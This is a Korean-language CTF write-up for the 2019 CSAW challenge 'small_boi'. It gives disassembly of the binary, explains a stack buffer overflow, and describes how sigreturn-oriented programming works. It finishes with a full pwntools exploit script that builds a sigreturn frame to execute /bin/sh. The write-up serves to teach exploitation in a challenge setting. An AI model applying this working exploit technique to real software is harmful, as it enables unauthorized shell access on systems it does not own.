2019 CSAW CTF small_boi
매우 작은 바이너리다. SigReturn Oriented Programming을 이용해서 풀 수 있다.
.text:000000000040017C sub_40017C proc near
.text:000000000040017C ; __unwind {
.text:000000000040017C push rbp
.text:000000000040017D mov rbp, rsp
.text:0000000000400180 mov eax, 15
.text:0000000000400185 syscall ; LINUX - sys_rt_sigreturn
.text:0000000000400187 nop
.text:0000000000400188 pop rbp
.text:0000000000400189 retn
.text:0000000000400189 ; } // starts at 40017C
.text:0000000000400189 sub_40017C endp
.text:0000000000400189
.text:000000000040018A ; ---------------------------------------------------------------------------
.text:000000000040018A pop rax
.text:000000000040018B retn
.text:000000000040018C
.text:000000000040018C ; =============== S U B R O U T I N E =======================================
.text:000000000040018C
.text:000000000040018C ; Attributes: bp-based frame
.text:000000000040018C
.text:000000000040018C sub_40018C proc near ; CODE XREF: start+9↓p
.text:000000000040018C
.text:000000000040018C buf = byte ptr -20h
.text:000000000040018C
.text:000000000040018C ; __unwind {
.text:000000000040018C push rbp
.text:000000000040018D mov rbp, rsp
.text:0000000000400190 lea rax, [rbp+buf]
.text:0000000000400194 mov rsi, rax ; buf
.text:0000000000400197 xor rax, rax
.text:000000000040019A xor rdi, rdi ; fd
.text:000000000040019D mov rdx, 200h ; count
.text:00000000004001A4 syscall ; LINUX - sys_read
.text:00000000004001A6 mov eax, 0
.text:00000000004001AB pop rbp
.text:00000000004001AC retn
.text:00000000004001AC ; } // starts at 40018C
.text:00000000004001AC sub_40018C endp
.text:00000000004001AC
.text:00000000004001AD
.text:00000000004001AD ; =============== S U B R O U T I N E =======================================
.text:00000000004001AD
.text:00000000004001AD ; Attributes: bp-based frame
.text:00000000004001AD
.text:00000000004001AD public start
.text:00000000004001AD start proc near ; DATA XREF: LOAD:0000000000400018↑o
.text:00000000004001AD ; __unwind {
.text:00000000004001AD push rbp
.text:00000000004001AE mov rbp, rsp
.text:00000000004001B1 mov eax, 0
.text:00000000004001B6 call sub_40018C
.text:00000000004001BB xor rax, rdi
.text:00000000004001BE mov rax, 3Ch
.text:00000000004001C5 syscall ; LINUX - sys_exit
.text:00000000004001C7 nop
.text:00000000004001C8 pop rbp
.text:00000000004001C9 retn
.text:00000000004001C9 ; } // starts at 4001AD
.text:00000000004001C9 start endp
.text:00000000004001C9
.text:00000000004001C9 _text ends
.rodata:00000000004001CA ; ===========================================================================
.rodata:00000000004001CA
.rodata:00000000004001CA ; Segment type: Pure data
.rodata:00000000004001CA ; Segment permissions: Read
.rodata:00000000004001CA _rodata segment byte public 'CONST' use64
.rodata:00000000004001CA assume cs:_rodata
.rodata:00000000004001CA ;org 4001CAh
.rodata:00000000004001CA aBinSh db '/bin/sh',0
.rodata:00000000004001CA _rodata ends
read(0,rbp+buf,0x200)
이렇게 입력을 받는데 버퍼 사이즈는 0x20이니까 리턴을 덮을 수 있다. 가젯들이 충분하지 않지만 pop rax 가젯은 존재해서 syscall 컨트롤할 수 있다.
sys_rt_sigreturn
함수를 이용해서 풀 수 있다. 이 함수는 syscall 0xf번이고 레지스터 값을 임의로 변경할 수 있다.
sigreturn
시스템 함수는 Signal을 처리하는 프로세스가 Kernel Mode에서 User Mode로 돌아올 때 스택을 복원하기 위해 사용되는 함수다. 이 시스템 함수 내부를 보면 restore_sigcontext()
이 있는데 COPY()를 이용해서 Stack에 저장된 값을 레지스터에 넣을 수 있다. 사용할만한 가젯이 없을 때 사용하기 용이하다.
exploit.py
from pwn import *
context.arch = 'amd64'
e = ELF('./small_boi')
p = process('./small_boi')
prax = 0x000000000040018a # pop rax ; ret
binsh = 0x00000000004001CA # /bin/sh
syscall = 0x0000000000400185 # syscall
sigreturn = 0x0000000000400185 # sys_rt_sigreturn
payload = 'A'*32 + 'realsung'
payload += p64(prax) + p64(15)
payload += p64(sigreturn)
frame = SigreturnFrame(kernel='amd64')
frame.rax = 0x3b
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
payload += str(frame)
p.send(payload)
p.interactive()